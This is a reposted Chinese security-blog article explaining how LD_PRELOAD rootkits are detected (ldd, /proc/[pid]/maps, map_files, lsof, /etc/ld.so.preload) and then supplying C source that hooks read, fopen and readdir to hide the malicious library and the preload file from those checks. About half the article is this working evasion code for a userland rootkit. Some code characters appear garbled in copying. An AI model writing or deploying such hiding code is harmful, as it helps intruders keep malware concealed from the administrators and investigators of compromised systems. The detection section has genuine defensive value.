如何检测 LD_PRELOAD rootkit 以及如何从 ldd 和 proc 隐藏

admin 2024年11月28日21:11:00评论7 views字数 4528阅读15分5秒阅读模式

How detect a LD_PRELOAD rootkit and hide from ldd & proc


在开始之前,我们需要了解什么是 LD_PRELOAD rootkit

  • 这是一种利用 LD_PRELOAD 环境变量来加载恶意共享库的恶意软件。它通过拦截和修改函数来隐藏文件、进程和活动。由于不直接与内核交互,LD_PRELOAD rootkit 运行在用户空间(ring3)。

简介

与 LKM(可加载内核模块)相比,LD_PRELOAD Rootkit 的一个优势在于它们更加稳定、兼容,且开发难度较低。

然而,对于那些创建或了解 LD_PRELOAD rootkit 的人来说,它们的一个明显缺点是容易被检测和清除。

在本文中,除了学习检测 LD_PRELOAD rootkit 的技术外,我们还将学习如何隐藏它,以避免被本文提到的这些检测方法发现。

检测 LD_PRELOAD rootkit

通常情况下,可以使用 ldd /bin/ls 命令来检测 LD_PRELOAD rootkit,如下所示:

  • ldd:用于列出给定程序所需的动态依赖项。它会返回共享库的名称及其位置。

如何检测 LD_PRELOAD rootkit 以及如何从 ldd 和 proc 隐藏

它们也可以在 /proc/[pid]/maps 中被发现。

  • /proc/[pid]/maps:这是一个包含当前已映射内存区域及其访问权限的文件。

如何检测 LD_PRELOAD rootkit 以及如何从 ldd 和 proc 隐藏

同样,它们也很容易在 /proc/[pid]/map_files/ 中被找到

  • /proc/[pid]/map_files/:显示内存映射文件。

当然,不能忽略检查 /etc/ld.so.preload

  • /etc/ld.so.preload:这个文件包含了在程序加载前需要加载的共享对象列表。

如何检测 LD_PRELOAD rootkit 以及如何从 ldd 和 proc 隐藏

你也可以使用 lsof 来进行检查。

  • lsof:列出被进程打开的文件,当与 -p 参数一起使用时,可以显示特定进程加载的共享库。

如何检测 LD_PRELOAD rootkit 以及如何从 ldd 和 proc 隐藏

这些就是检测共享对象的主要方法,你看到了它有多容易,对吧?而我所见到的大多数 LD_PRELOAD rootkit 都没有隐藏自身的功能。作为一个充满好奇心的人,我决定学习一些如何隐藏它的方法,我们将在下一节中学习这些内容。

从 ldd 和 /proc 中隐藏 LD_PRELOAD Rootkit

我想了解我的人都知道,我真的很喜欢钩取(hooking)read 函数,这个案例也不例外。

这是一段简单的 C 代码:

#define _GNU_SOURCE#include <dlfcn.h>#include <string.h>#include <unistd.h>#include <errno.h>#include <stdlib.h>
ssize_t read(int fd, void *buf, size_t count) {    static ssize_t (*real_read)(int, void *, size_t) = NULL;
    if (!real_read) {        real_read = dlsym(RTLD_NEXT, "read");        if (!real_read) {            errno = ENOSYS;            return -1;        }    }
    ssize_t result = real_read(fd, buf, count);
    if (result > 0) {        char *start = (char *)buf;        char *end = start + result;        char *current = start;
        size_t new_buf_size = result;        char *new_buf = (char *)malloc(new_buf_size);        if (!new_buf) {            errno = ENOMEM;            return -1;        }
        size_t new_buf_pos = 0;
        while (current < end) {            char *line_start = current;            char *line_end = memchr(current, 'n', end - current);            if (!line_end) {                line_end = end;            } else {                line_end++;            }
            if (!memmem(line_start, line_end - line_start, "hook.so", strlen("hook.so"))) {                size_t line_length = line_end - line_start;                if (new_buf_pos + line_length > new_buf_size) {                    new_buf_size = new_buf_pos + line_length;                    new_buf = (char *)realloc(new_buf, new_buf_size);                    if (!new_buf) {                        errno = ENOMEM;                        return -1;                    }                }                memcpy(new_buf + new_buf_pos, line_start, line_length);                new_buf_pos += line_length;            }
            current = line_end;        }
        memcpy(buf, new_buf, new_buf_pos);        result = new_buf_pos;
        free(new_buf);    }
    return result;}

此代码在read函数中实现了一个钩子,拦截文件读取并过滤包含字符串"hook.so"的行。它使用dlsym函数获取read的原始版本,处理读取的数据,动态分配内存来存储过滤后的结果并返回这个新缓冲区。通过使用memmmemchr等函数,确保任何包含"hook.so"的行都被删除,通过仅将不包含该字符串的行复制到最终缓冲区来有效地"隐藏"该字符串。

因此,它在ldd/proc/*中的任何文件/目录中都不会被检测到。

使用ldd的示例:

如何检测 LD_PRELOAD rootkit 以及如何从 ldd 和 proc 隐藏

使用/proc/pid/maps的示例:

如何检测 LD_PRELOAD rootkit 以及如何从 ldd 和 proc 隐藏

使用/proc/pid/map_files/的示例:

如何检测 LD_PRELOAD rootkit 以及如何从 ldd 和 proc 隐藏

使用lsof的示例:

如何检测 LD_PRELOAD rootkit 以及如何从 ldd 和 proc 隐藏

使用cat /etc/ld.so.preload的示例:

如何检测 LD_PRELOAD rootkit 以及如何从 ldd 和 proc 隐藏

这是一个简单的解决方案,没有太多高级技术,但非常有效。

从/etc/ld.so.preload 中隐藏

如前所述,所展示的技术是有效的,但是,如果你执行cat /etc/ld.so.preload,正如预期的那样hook.so不会出现,然而,如果你使用nano,例如,它就会被看到。

如何检测 LD_PRELOAD rootkit 以及如何从 ldd 和 proc 隐藏

这对我们来说是不利的。

为了解决这个问题,我们将钩住fopenreadreaddir函数来隐藏文件/etc/ld.so.preload,使其"不可能"被打开、读取或在目录中列出,并且使其看起来不存在,例如,如果你执行cat /etc/ld.so.preload,它会返回No such file or directory

以下是一个简单的 C 语言代码:

#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <string.h>#include <dlfcn.h>#include <errno.h>#include <sys/stat.h>#include <limits.h>#include <dirent.h>
#define HIDDEN_FILE "/etc/ld.so.preload"
FILE *(*orig_fopen)(const char *pathname, const char *mode);FILE *fopen(const char *pathname, const char *mode){    if (!orig_fopen) {        orig_fopen = dlsym(RTLD_NEXT, "fopen");    }
    if (strcmp(pathname, HIDDEN_FILE) == 0) {        errno = ENOENT;        return NULL;    }
    return orig_fopen(pathname, mode);}
ssize_t read(int fd, void *buf, size_t count){    static ssize_t (*orig_read)(int, void *, size_t) = NULL;
    if (!orig_read) {        orig_read = dlsym(RTLD_NEXT, "read");    }
    char path[PATH_MAX];    snprintf(path, sizeof(path), "/proc/self/fd/%d", fd);    char actual_path[PATH_MAX];    ssize_t len = readlink(path, actual_path, sizeof(actual_path) - 1);
    if (len > 0) {        actual_path[len] = '�';        if (strcmp(actual_path, HIDDEN_FILE) == 0) {            errno = ENOENT;            return -1;        }    }
    return orig_read(fd, buf, count);}
struct dirent *(*orig_readdir)(DIR *dirp);struct dirent *readdir(DIR *dirp){    if (!orig_readdir) {        orig_readdir = dlsym(RTLD_NEXT, "readdir");    }
    struct dirent *entry;    while ((entry = orig_readdir(dirp)) != NULL) {        if (strcmp(entry->d_name, "ld.so.preload") != 0) {            return entry;        }    }    return NULL;}
  • fopen:此函数检查文件是否为 /etc/ld.so.preload,如果是,则通过返回 NULL 并将错误设置为 ENOENT(没有此类文件或目录)来阻止打开,否则,它调用原始的 fopen 函数来正常打开其他文件。

  • read:在读取之前,该函数会检查与 fd(文件描述符)关联的文件是否为 /etc/ld.so.preload(使用 readlink 获取文件的实际路径),如果是,则在读取时返回错误,返回 -1 并将错误设置为 ENOENT,否则它调用原始的 read 函数来正常读取其他文件。

  • readdir:此函数读取目录条目并检查任何条目的名称是否为 ld.so.preload,如果找到该名称,则忽略该条目并继续搜索,否则正常返回该条目,也就是说,如果你尝试读取 ls -lah /etc/ |grep ld.so.preload,它会变得不可见。

然后,它变得更加"隐蔽"。

检查 ld.so.preload 是否在 /etc/ 中列出:

如何检测 LD_PRELOAD rootkit 以及如何从 ldd 和 proc 隐藏

检查是否可以查看 /etc/ld.so.preload 的内容:

如何检测 LD_PRELOAD rootkit 以及如何从 ldd 和 proc 隐藏

当然,这并不是百分之百完美,但理解这个过程的工作原理很有趣。

意外转折

好吧...这里有一件非常有趣的事情,当我们使用 strace 时,文章中介绍的隐藏 /etc/ld.so.preload 的过程就变得毫无用处了😂。

  • Strace:Linux 系统下用于诊断、调试和教学的用户空间实用工具。

如何检测 LD_PRELOAD rootkit 以及如何从 ldd 和 proc 隐藏

这对 strace 不起作用,我们的代码无法对其进行隐藏,因为它只处理 read 函数,而 strace 还可以在内核级别监控系统调用,在那里 hook.so 仍然可见。

参考资料

[1]

Twitter: https://twitter.com/MatheuzSecurity

 

 

原文始发于微信公众号(securitainment):如何检测 LD_PRELOAD rootkit 以及如何从 ldd 和 proc 隐藏

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月28日21:11:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   如何检测 LD_PRELOAD rootkit 以及如何从 ldd 和 proc 隐藏https://cn-sec.com/archives/3447210.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息